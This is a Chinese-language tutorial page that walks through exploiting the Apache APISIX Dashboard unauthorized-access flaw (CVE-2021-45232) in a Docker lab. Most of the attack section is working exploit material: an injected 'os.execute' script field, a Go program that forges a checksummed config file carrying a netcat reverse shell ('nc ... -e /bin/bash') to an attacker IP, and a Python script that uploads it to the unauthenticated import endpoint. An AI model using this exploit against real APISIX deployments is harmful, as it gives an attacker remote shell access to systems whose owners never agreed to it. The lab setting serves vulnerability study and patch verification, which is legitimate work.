<em>Mac</em>Book项目 2009年学校开始实施<em>Mac</em>Book项目,所有师生配备一本<em>Mac</em>Book,并同步更新了校园无线网络。学校每周进行电脑技术更新,每月发送技术支持资料,极大改变了教学及学习方式。因此2011
2021-06-01 09:32:01
宣告:本文僅供學習參考,其中涉及的一切資源均來源於網路,請勿用於任何非法行為,否則您將自行承擔相應後果,本人不承擔任何法律及連帶責任。
Apache APISIX 是一個動態、實時、高效能的 API 閘道器, 提供負載均衡、動態上游、灰度釋出、服務熔斷、身份認證、可觀測性等豐富的流量管理功能。Apache APISIX Dashboard 使使用者可通過前端介面操作 Apache APISIX。該漏洞的存在是由於 Manager API 中的錯誤。Manager API 在 gin 框架的基礎上引入了 droplet 框架,所有的 API 和鑑權中介軟體都是基於 droplet 框架開發的。但是有些 API 直接使用了框架 gin 的介面,從而繞過身份驗證。
Apache APISIX Dashboard < 2.10.1
通過git clone apisix-docker
git clone https://github.com/apache/apisix-docker cd apisix-docker/example/
修改docker-compose.yml
apache/apisix-dashboard:2.7 apache/apisix:2.6-alpine
然後,docker-compose up -d 啟動環境
環境起來後,瀏覽器通過預設埠9000存取apisix dashboard
由於apisix dashboard 預設賬號和密碼是admin:admin,所以我們先登入到後臺,來驗證一把遠端命令執行
首先建立一個上游服務,點選建立,名稱隨意命名,目標節點填寫我們轉發請求的服務,這裡我們填寫docker附帶的Grafana應用,埠號為3000,點選下一步,提交即可。
其次,建立一個路由,名稱任意起,路徑也是自定義,點選下一步,選擇我們剛才建立的上游服務,最後,提交即可。
檢視建立的路由
回到路由設定頁面,點選設定,然後一直下一步,直到提交時,使用BurpSuite抓包
然後在請求包的body中,新增一個script欄位後,傳送請求。
"script": "os.execute('touch /tmp/Keepb1ue')"
再次檢視,路由設定資訊
接著,我們存取一下: http://192.168.10.171:9080/rce111
docker中看一下,是否建立了Keepblue這個檔案
如果沒有預設密碼或者弱密碼的話,這時我們就利用未授權介面進行RCE了
/apisix/admin/migrate/export /apisix/admin/migrate/import
首先,使用/apisix/admin/migrate/export匯出組態檔
因為是未授權,所以在未登陸情況下,BP抓包後,請求介面改為/apisix/admin/migrate/export,點選send後,看到組態檔資訊
在匯入組態檔時,會對組態檔的checksum值進行校驗,那這裡其實是可以通過寫指令碼算出checksum校驗值,或者是根據apisix的原始碼去計算出新的checksum值
原始碼位置在:apisix-dashboard-masterapiinternalhandlermigratemigrate.go的ExportConfig函數將其計算原始碼單獨抽取出來,並將需要匯入的設定(data)進修替換和插入RCE語句
package main import ( "encoding/binary" "fmt" "hash/crc32" "io/ioutil" "os" ) func main() { gen() } func gen() { data := []byte(`{"Counsumers":[],"Routes":[{"id":"403141558204891851","create_time":1649820693,"update_time":1649821490,"uris":["/rce111"],"name":"lyroute","methods":["GET","POST","PUT","DELETE","PATCH","HEAD","OPTIONS","CONNECT","TRACE"],"script":"os.execute('nc 192.168.8.14 2333 -e /bin/bash')","script_id":"403141558204891851","upstream_id":"403140847589130955","status":1}],"Services":[],"SSLs":[],"Upstreams":[{"id":"403140847589130955","create_time":1649820270,"update_time":1649820270,"nodes":[{"host":"192.168.10.171","port":3000,"weight":1}],"timeout":{"connect":6,"read":6,"send":6},"type":"roundrobin","scheme":"http","pass_host":"pass","name":"lytest"}],"Scripts":[{"id":"403141558204891851","script":"os.execute('nc 192.168.8.14 2333 -e /bin/bash')"}],"GlobalPlugins":[],"PluginConfigs":[]}`) checksumUint32 := crc32.ChecksumIEEE(data) checksumLength := 4 checksum := make([]byte, checksumLength) binary.BigEndian.PutUint32(checksum, checksumUint32) fileBytes := append(data, checksum...) content := fileBytes fmt.Println(content) importData := content[:len(content)-4] checksum2 := binary.BigEndian.Uint32(content[len(content)-4:]) if checksum2 != crc32.ChecksumIEEE(importData) { fmt.Println(checksum2) fmt.Println(crc32.ChecksumIEEE(importData)) fmt.Println("Check sum check fail, maybe file broken") return } err := ioutil.WriteFile("apisixPayload", content, os.ModePerm) if err != nil { fmt.Println("error!!") return } }
執行這段指令碼,會生成apisixPayload這個檔案
這個就是我們要import上去的計算好校驗值的新的組態檔,接下來使用python程式碼可以簡單的傳到伺服器端
import requests url = "http://192.168.10.171:9000/apisix/admin/migrate/import" files = {"file": open("apisixPayload", "rb")} r = requests.post(url, data={"mode": "overwrite"}, files=files) print(r.status_code) print(r.content)
在攻擊機上,開啟nc監聽
接下來,存取路由地址(http://192.168.10.171:9080/rce111),觸發遠端命令執行
檢視nc反彈shell
反彈成功,說明命令已經執行
到此這篇關於Apache APISIX Dashboard 未授權存取漏洞(CVE-2021-45232)的文章就介紹到這了,更多相關Apache APISIX Dashboard 未授權存取漏洞內容請搜尋it145.com以前的文章或繼續瀏覽下面的相關文章希望大家以後多多支援it145.com!
相關文章
<em>Mac</em>Book项目 2009年学校开始实施<em>Mac</em>Book项目,所有师生配备一本<em>Mac</em>Book,并同步更新了校园无线网络。学校每周进行电脑技术更新,每月发送技术支持资料,极大改变了教学及学习方式。因此2011
2021-06-01 09:32:01
综合看Anker超能充系列的性价比很高,并且与不仅和iPhone12/苹果<em>Mac</em>Book很配,而且适合多设备充电需求的日常使用或差旅场景,不管是安卓还是Switch同样也能用得上它,希望这次分享能给准备购入充电器的小伙伴们有所
2021-06-01 09:31:42
除了L4WUDU与吴亦凡已经多次共事,成为了明面上的厂牌成员,吴亦凡还曾带领20XXCLUB全队参加2020年的一场音乐节,这也是20XXCLUB首次全员合照,王嗣尧Turbo、陈彦希Regi、<em>Mac</em> Ova Seas、林渝植等人全部出场。然而让
2021-06-01 09:31:34
目前应用IPFS的机构:1 谷歌<em>浏览器</em>支持IPFS分布式协议 2 万维网 (历史档案博物馆)数据库 3 火狐<em>浏览器</em>支持 IPFS分布式协议 4 EOS 等数字货币数据存储 5 美国国会图书馆,历史资料永久保存在 IPFS 6 加
2021-06-01 09:31:24
开拓者的车机是兼容苹果和<em>安卓</em>,虽然我不怎么用,但确实兼顾了我家人的很多需求:副驾的门板还配有解锁开关,有的时候老婆开车,下车的时候偶尔会忘记解锁,我在副驾驶可以自己开门:第二排设计很好,不仅配置了一个很大的
2021-06-01 09:30:48
不仅是<em>安卓</em>手机,苹果手机的降价力度也是前所未有了,iPhone12也“跳水价”了,发布价是6799元,如今已经跌至5308元,降价幅度超过1400元,最新定价确认了。iPhone12是苹果首款5G手机,同时也是全球首款5nm芯片的智能机,它
2021-06-01 09:30:45